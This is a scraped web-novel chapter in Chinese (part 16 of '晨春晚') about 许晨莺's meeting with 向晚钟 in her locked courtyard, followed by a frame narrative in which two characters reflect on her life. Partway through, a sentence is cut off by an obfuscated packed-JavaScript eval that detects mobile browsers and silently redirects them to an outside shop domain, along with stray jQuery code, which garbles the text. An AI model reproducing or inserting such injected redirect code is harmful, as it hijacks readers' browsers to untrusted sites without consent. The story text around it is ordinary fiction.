默认冷灰
24号文字
方正启体

22. 《晨春晚》(16)

作者:光年一厘米本书字数:K更新时间:
    许守贞连推带拽把她抓回院子里,一路上尽是些常谈的话,莺莺边听边走神,指腹反反复复搓着手帕边缘的锁线。


    “小莺,你……”“小贞姐,五哥找你,大家都去主厅了。”


    小叔匆匆赶来招呼她,打断了她将要倾吐的长篇大论,许守贞表情有些怨,但没敢对着堂弟,怕被觉得是怨自己大哥,只有些恨的盯着莺莺几秒,出去时顺便从外面销上了院门。


    奶娘原本在自己屋门口纳鞋底,一手握着一把老虎钳子,看见她来就放下手里的东西,张着双臂迎上来,将站在院门前发呆的莺莺捧住:“莺莺,怎么了呀?不是说去院子里坐会嘛……阿弟找你去了是不?”


    莺莺没吱声,抬手给奶娘看那块手帕。


    “你不是没带过帕子……这是?”她接到手里,翻开一看是些泥水印子,又忙弯身去检查她衣裙,“哎呀,摔跤了是吗?走走走,奶娘给你换衣裳去。”


    她没注意到边角上的字,莺莺又抢回来揪住帕角给她看:“奶娘,这是向小姐的,我见到她了。”


    “向……?他们回来了?”奶娘动作一顿,明显有些发愣,“所以刚刚常少爷他们走正门被发现了是吗?小姐小姐没事的……”


    怕她委屈不说,奶娘捧起莺莺的脸,拇指指腹抹过她眼下皮肤,确认不烫才放下心:“奶娘带你去换衣服,现在没人,你跟奶娘说说,向小姐是什么样的。”


    脑子有点浑,但尽管日光惨白,亮还是挺亮的,光线透过窗户纸把雕花的镂空全当做出口穿行,碎开的图案落在地上时能看见边缘似乎更亮一点。


    奶娘在衣橱里给她选衣服,莺莺就坐在高凳上晃腿,有一搭没一搭往外蹦词儿。


    她知道奶娘根本不可能真的好奇向晚钟,于是自己在脑内与先前的想象比对,念一些“这里像”和“那里不像”的词。


    大约只有她自己知道哪里像哪里不像。


    比如她真没想到仅仅是给自己写过很多文字,向晚钟就真的与她熟络,等自己和她说话时会提醒地捏她手心。


    奶娘边听着她嘟囔,边替她系裙带打绳结。


    “早上出去也不愿意多穿,你阿弟还嫌衣裳上的皮毛夜里冻硬了不够贴合,恨不得裹上被子呢!”


    她去架子上搬来月衣,莺莺只要了护肩的一层,奶娘无法,硬是给她绕上围脖堵住领口确保不进风。


    最后拨开鬓发摸摸她耳朵,冻得发红,于是又拿了护耳给她包上。


    “莺莺,不常生病的人不是不会生病,就是生冻疮了也要难受死的。”


    “奶娘,我还能见到向小姐吗?”


    得,多半又没听人说话。


    奶娘捋捋整齐她的头发:“能,肯定能。”


    屋里夜里烧了炭火,到现在还燃着,有温度,但她还是想在外面坐一会,能看见奶娘做活的位置就行,推开门刚想迈出去,目光自己就落在了刚刚奶娘坐着的凳子上。


    向晚钟不知什么时候坐在那里,脚边放着常见春来送了一趟又被连带向晚钟一齐赶出去的礼物。


    “奶娘,你说好话要是一直这么灵就好了。”莺莺小声和她说。


    奶娘看去,向晚钟正把自己为莺莺纳的新鞋底放在手心,与手掌宽度差不多长的硬面已经剪裁好,正在纳线。


    拖长的蜡线坠着一根黑硬的铁针,而已经修光滑的边缘仿佛会割伤人手,看一眼就会觉得疼。


    向晚钟垂着眼看,手上压着的似铁般沉重,她迫使自己放回针线篓子里,后脑靠在木头门框上。


    抬头时隐约见换了青花墨色衣裙的身影没入木门的阴影中,她看去,与莺莺对上。


    两人都不知道对方看了多久。


    “……”


    奶娘绕过两人,收拾针线篓子拿进屋去:“是向小姐吗?刚刚前院的事不要介意,莺莺自己是很想见您的。”


    她把端在腰侧的东西往身后避了避:“院门现在被销上了,我回屋里去,麻烦你陪莺莺说说话。她今个儿好不容易出趟院子,又被逮回来了,应该不会高兴。”


    “放心。”向晚钟发现了奶娘有些刻意的动作,点点头往别处看,面上带着谦卑温和的笑,“我也很想见她的。”


    听了这话,奶娘登时少了许多担心。


    她不识字,莺莺有时在她面前读信她会听见一些字句,但听人读出来和原本的文字不一样。


    莺莺现在的声音总是一点点沉下去、轻下去,和幼时的扬起的尾音以及露着满嘴尖牙大笑时给人的感觉差很多,所以她总是先内容一步感受到她的小姐的情绪。


    她难以得到和莺莺一样的对向晚钟的感受。


    不过现在看来,还不错。


    她关上门在屋里继续做了一会儿活,觉得伤眼,又出不了院子,于是上床睡回笼觉去了。


    莺莺还立在门后,看向晚钟朝自己走过来,脑子有些转不过来,等到她只离自己两三步远的时候才想起来,慌忙把手背到身后,偷偷把那块帕子塞进袖袋里。


    “怎么你家奶娘也叫我向小姐?”向晚钟瘪瘪嘴,歪了一下头,摆出一副有些失落的表情,“看来你平时真的是这么称呼我的。我叫你莺莺,你却叫我向小姐,好生疏。”


    “我以为……”莺莺低下头,“我以为这是很好的称呼。”


    “可是在东国,大部分人第一次见面说话和很多服务人员,没有亲近的称呼才会叫‘小姐’。”向晚钟故意一直盯着她,她不看自己,就凑近了故意在语气中掺上调侃意味,却又尾调降下去,仿佛失落般的,“好多人都这么叫我,你也这么叫,那不和他们一样了?”


    不一样吗?


    对了,向晚钟给她写那么多信,隔不了几天就会有,哪怕送家书都是没有这样勤快的,她要现在问出这句话,那也太不领情了。


    “那叫什么?”她想抬头看她,冷不丁撞上她的视线,惊得后退一步,被向晚钟眼疾手快捞回来:“别又摔了。”


    她想想:“你比常见春小六岁是吧,我也比他小一些,但至少比你大,你叫我阿姐?


    “等等等……你自己阿姐也不少,你叫我晚钟或者晚晚,‘晚’这个字好像和你的‘晨’字相对,那我以后叫你晨晨也行,显得我们更亲。”


    乌云的裂缝被风吹得漾开,天光有一些呼之欲出,暴雨暂歇,冬日里难得的有雀儿落在枝丫上,呖呖的脆音清越。


    -


    时间轴几乎走到了末尾部分,许晨莺见到向晚钟应该是一件让走势上扬的情节,连那多年以来时不时直击大脑深处的幻声都渐渐稍歇下来。


    这一段记忆里融合着惊奇、错愕、嫉妒、自责,以及母亲柔声安抚过后心态的转变。


    转变之后的许晨莺尽管依旧离从前的自己越来越远,但她心中多了一丝丝的期冀。


    那份期冀是幼时便相识,教她读书写字甚至花费几年的时间引导她走出现实带给她的阴影的常见春都不曾让她产生的东西。


    很奇怪,常见春陪伴她那么多年,是她亲自承认最重视的、且唯一的朋友。


    他的存在对她来说相当于“救赎者”,可温延竟然才刚刚发现,许晨莺从没有在他身上得到过真正的希望。


    为什么呢?


    这样大的影响也不行吗?这放到任何一部小说里,不是男主角也得是个白月光一样的存在了。


    但许晨莺虽然因为他嫉妒过向晚钟,但从头至尾,哪怕应该是情窦初开的年纪,完完全全都把他当


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16614990|187710||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    做一个很重要很重要很重要的……


    朋友。


    面对他时,许晨莺的表现没有一丝别扭,对他的触碰甚至不如向晚钟初见时捏她手心那一下更回味。


    “结局美好的故事总是欲扬先抑,相对的结局,过程便总是先扬后抑,这样似乎能让那跌落更深刻。”程蓁叹了口气,“许晨莺的人生从头到尾总在经历先扬后抑,特别是每次的‘扬’其实看来最多只能算是‘平’,‘抑’却突然一泻千里。”


    温延从没有听哪篇故事感同身受到如此地步,他点点头,有点找不到自己的情绪了。


    “你、”程蓁微顿,伸手捞来原先那本文集,翻到曾无数次打开的那一页,“看过这篇吧?”


    《旧时笔记》里那篇写到了许晨莺的文章。


    “嗯。”他扫一眼,“看过。”


    “我小时候拿给许晨莺看来着,她虽然一开始有些抗拒,但后来还是看了好多好多遍,有一次还嘟囔了一句‘晚姐姐怎么不写我’。


    “她那时候都已经百岁了,平时说话要戴假牙才能清楚,可我听她说晚姐姐这个称呼,就觉得她只是身体老了,心里还是百年前的那个十几岁的小姑娘。”


    听程蓁又说起已经成为太奶奶的许晨莺:老太太会在午后带着小辈念诗、讲自己以前的事情,也会在无聊时拄着拐去村头,和那些虽然差她很多岁但勉强能融进去的中老年群体一起搓麻将。


    却又在所有人都觉得她好处的时候,她会发脾气赶走把她的记忆当做文学创作素材的年轻学生。


    和已知的结局一联系,温延突然就明白了为什么常见春在许晨莺眼里和向晚钟区别那么大。


    不是因为向晚钟更温柔易亲近,也不是因为后来的大部分信件都来自向晚钟,更不是因为向晚钟叫她莺莺、哪怕没见过、光靠听说都愿意和她做朋友。


    兜来转去许晨莺早就自己说了原因。


    向晚钟是她最理想的模样,是她缺失的所有。她也是女子,她的存在让她知道幻想不只是幻想,这世界上有人做到的,而且与她同龄。


    这理想不用期待未来某天能实现,因为那个时代就已经可以。


    常见春的路似乎更理所当然些,她的哥哥们如果偏要走,哪怕没有他做得好也能走出去。


    但向晚钟的路,看似与常见春一模一样,只是因为性别不同,家里轻轻拽一根马绳,就必须退避三舍。


    那个时代就是这样,一个倒叙的故事,即便听着听着走进去了,别人拍拍你,指一指开头就既定的结局,也便就这样了。


    所以其实无论向晚钟这个人有没有走到她身边,只要她知道她的存在,她就和所有人都不一样。


    怎么办呢?救赎者只能将她拉出阴影,无论走出多远,阴影还在身后。


    发光体不一样,它能让阴影消失。


    许晨莺最清楚这二者的区别。


    -


    “向晚钟像当初的常见春一样,每天来许晨莺的小院,陪了她很久很久。


    “和当初不一样的是,她不止教她学习新的东西,还和她一起玩,给她梳头发、戴发卡、化一样的妆、换对方的衣服穿……


    “这样的相处方式可比当年和常见春的几年要更容易交心和亲近,许晨莺第一次在长大以后发出笑的声音便是在那段时间里。


    “她甚至一度觉得世界艳阳高照,然后在向晚钟同样告诉她自己被安排离开京城的时候,仅仅用当晚睡着前的一个小时时间做了要跟她离开许家的决定。”


    程蓁说:“这是一个会让她后悔一辈子,但当我问她重来一次还跑不跑,她那么一个遇到问题一定会过脑思考的人,居然不止一次,毫不犹豫、不加思考说‘跑’的决定。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)